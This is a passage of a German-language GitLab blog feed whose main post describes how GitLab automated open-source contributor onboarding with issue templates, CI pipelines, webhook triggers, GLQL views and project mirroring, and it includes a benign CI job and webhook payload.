<p><em>Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von den in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthaltenen oder betrachteten abweichen, finden sich unter der Überschrift „Risikofaktoren&quot; und an anderer Stelle in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu überarbeiten oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, es sei denn, dies ist gesetzlich vorgeschrieben.</em>&lt;/small&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-07-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Von 17 % auf 100 %: Wie wir das Open-Source-Onboarding revolutionierten]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-we-use-gitlab-to-grow-open-source-communities/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-we-use-gitlab-to-grow-open-source-communities/"/>
        <updated>2025-07-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLabs Contributor Success Team stand vor einer Herausforderung.</p>
<p>Während unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von <a href="https://handbook.gitlab.com/handbook/company/mission/">GitLabs Mission</a>,</p>
<p>allen das Mitwirken zu ermöglichen, wollten wir es besser machen.</p>
<p>Wir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat</p>
<p>und übertrafen damit erstmals unser Teamziel von 170.</p>
<p>Drei Monate später brachen wir den Rekord erneut mit 192.</p>
<p>So haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.</p>
<h2>Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben</h2>
<p>2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch.</p>
<p>Wir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.</p>
<p>Die Teilnehmenden sagten uns:</p>
<ul>
<li>
<p>Die Mitwirkenden-Dokumentation war verwirrend</p>
</li>
<li>
<p>Der Einstieg fühlte sich überwältigend an</p>
</li>
<li>
<p>Es war nicht klar, wie oder wo man Hilfe finden konnte</p>
</li>
</ul>
<p>Nur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.</p>
<p>Es wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben.</p>
<p>Also haben wir <a href="https://handbook.gitlab.com/handbook/values/#iteration">iteriert</a>!</p>
<p>Unser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools</p>
<p>wie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte Onboarding-Lösung zu entwickeln.</p>
<p>2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100 %. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der</p>
<p>Maintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.</p>
<p>Noch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten:</p>
<p>„Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'&quot;</p>
<h2>Wir haben persönliches Onboarding mit GitLab aufgebaut</h2>
<p>Unsere Lösung begann mit Engagement.</p>
<p>Um Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden</p>
<p>Mitwirkenden mit einem Community-Maintainer verbindet.</p>
<p>Wir erstellten ein <a href="https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md">Issue-Template</a> mit einer klaren Checkliste von Aufgaben.</p>
<p>Das Onboarding-Issue behandelt auch die Zugangsgenehmigung für die</p>
<p><a href="https://about.gitlab.com/blog/gitlab-community-forks/">GitLab Community Forks</a>,</p>
<p>eine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten</p>
<p>und auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.</p>
<p>Mit <a href="https://docs.gitlab.com/user/project/labels/#scoped-labels">Scoped Labels</a> zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png" alt="GitLab onboarding issue"></p>
<p>Wir begannen mit einem Ruby-Skript, das über eine <a href="https://docs.gitlab.com/ci/pipelines/schedules/">geplante Pipeline</a> ausgeführt wurde,</p>
<p>nach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.</p>
<p>Von hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.</p>
<h2>Wir standardisierten Antworten mit Kommentar-Templates</h2>
<p>Mit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.</p>
<p>Wir erstellten <a href="https://docs.gitlab.com/user/profile/comment_templates/">Kommentar-Templates</a>,</p>
<p>die wir mit dem Repository über die GraphQL-API und ein</p>
<p><a href="https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb">Ruby-Skript</a> synchronisieren.</p>
<p>Das Skript wird in <code>.gitlab-ci.yml</code> ausgelöst, wenn Änderungen an Kommentar-Templates</p>
<p>zum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).</p>
<pre><code class="language-yaml">
execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == &quot;trigger&quot;
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png" alt="GitLab comment template"></p>
<h2>Wir eliminierten die 5-Minuten-Wartezeit</h2>
<p>Unsere erste Iteration war etwas langsam.</p>
<p>Nach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen.</p>
<p>Fünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.</p>
<p><a href="https://gitlab.com/Taucher2003">Niklas</a>, ein Mitglied unseres <a href="https://about.gitlab.com/community/core-team/">Core Teams</a>, entwickelte eine Lösung. Er fügte <a href="https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094">Webhook-Events für Zugangsanfragen </a>und <a href="https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738">benutzerdefinierte Payload-Templates für Webhooks</a> hinzu.</p>
<p>Diese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten. Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt) und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.</p>
<p>Wir richteten ein <a href="https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token">Pipeline-Trigger-Token</a> ein und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:</p>
<pre><code class="language-json">
{
  &quot;ref&quot;: &quot;main&quot;,
  &quot;variables&quot;: {
    &quot;EXECUTE_ACCESS_REQUESTS&quot;: &quot;1&quot;,
    &quot;DRY_RUN&quot;: &quot;0&quot;,
    &quot;PIPELINE_NAME&quot;: &quot;Create onboarding issues&quot;,
    &quot;GROUP_ID&quot;: &quot;{{group_id}}&quot;,
    &quot;EVENT_NAME&quot;: &quot;{{event_name}}&quot;
  }
}

</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png" alt="Pipeline list"></p>
<h2>Wir automatisierten Nachfassaktionen</h2>
<p>Mit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen,</p>
<p>hatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.</p>
<p>Wir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden.</p>
<p>Dies schafft ein klares Signal des Issue-Status für Maintainer.</p>
<p><a href="https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage">GitLab Triage</a></p>
<p>stupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png" alt="Automated nudge for idle GitLab onboarding issues"></p>
<h2>Wir organisierten die Issue-Verfolgung mit GLQL</h2>
<p>Wir bauten eine <a href="https://docs.gitlab.com/user/glql/">GLQL-Ansicht</a>, um Issues im Blick zu behalten.</p>
<p>Diese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen,</p>
<p>damit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png" alt="GLQL view of issue tracking"></p>
<p>Diese GLQL-Ansichten verbesserten unsere gesamte Triage-<a href="https://handbook.gitlab.com/handbook/values/#efficiency">Effizienz</a>.</p>
<p>Es war so erfolgreich, dass wir diese Strategie auch bei den Programmen <a href="https://about.gitlab.com/solutions/open-source/">GitLab for Open Source</a></p>
<p>und <a href="https://about.gitlab.com/solutions/education/">GitLab for Education</a> anwendeten.</p>
<p>Mit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.</p>
<h2>Wir machten die README auffindbar</h2>
<p>Die <a href="https://gitlab.com/gitlab-community/">@gitlab-community-Gruppe</a></p>
<p>ist das Zuhause für Mitwirkende auf GitLab.com.</p>
<p>Wir hatten bereits eine <code>README.md</code>-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei</p>
<p>befand sich in unserem Meta-Projekt.</p>
<p>Mit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre</p>
<p>Onboarding-Issues unter einem anderen Projekt waren.</p>
<p>Wir nutzten <a href="https://docs.gitlab.com/user/project/repository/mirror/">GitLabs Projekt-Spiegelung</a>,</p>
<p>um dies zu lösen und spiegelten das Meta-Projekt zu <code>gitlab-profile</code>.</p>
<p>Dies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png" alt="GitLab project mirroiring"></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png" alt="Group README"></p>
<h2>Die Ergebnisse sprechen für sich selbst</h2>
<p>Durch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine</p>
<p>und transformierten die GitLab-Mitwirkenden-Journey.</p>
<p>Wir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen,</p>
<p>Funktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.</p>
<p>Unser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der</p>
<p>Mitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png" alt="Community forks growth chart"></p>
<p>Wir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie</p>
<p>schneller mit Maintainern verbinden und sie beim Einstieg unterstützen.</p>
<p>Wir nutzen <a href="https://docs.gitlab.com/user/group/value_stream_analytics/">GitLabs Value Stream Analytics</a>,</p>
<p>um unsere Antwortzeiten zu verfolgen.</p>
<ul>
<li>
<p>Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten</p>
</li>
<li>
<p>Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png" alt="Value stream analytics timeline"></p>
<p>Die 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.</p>
<h2>Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden</h2>
<p>Die Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von</p>
<p>Mitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen.</p>
<p>Das Ergebnis ist <a href="https://contributors.gitlab.com/">contributors.gitlab.com</a>.</p>
<p>Wir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten,</p>
<p>Erfolge und Belohnungen bietet.</p>
<p>Mitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.</p>
<h2>Was wir gelernt haben teilen</h2>
<p>Diese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar.</p>
<p>Wir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.</p>
<p>Wenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen.</p>
<p>Mit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten.</p>
<p>Wir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.</p>
<h2>Das Gespräch beginnen</h2>
<p>Möchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst?</p>
<p>Sende eine E-Mail an <code>contributors@gitlab.com</code> oder <a href="https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues">öffne ein Issue</a>,</p>
<p>um eine Diskussion zu beginnen.</p>
<p>Wir sind hier, um beim Aufbau von Communities zu helfen.</p>
]]></content>
        <author>
            <name>Lee Tickett</name>
            <uri>https://about.gitlab.com/blog/authors/lee-tickett</uri>
        </author>
        <author>
            <name>Daniel Murphy</name>
            <uri>https://about.gitlab.com/blog/authors/daniel-murphy</uri>
        </author>
        <published>2025-07-15T00:00:00.000Z</published>
    </entry>
</feed>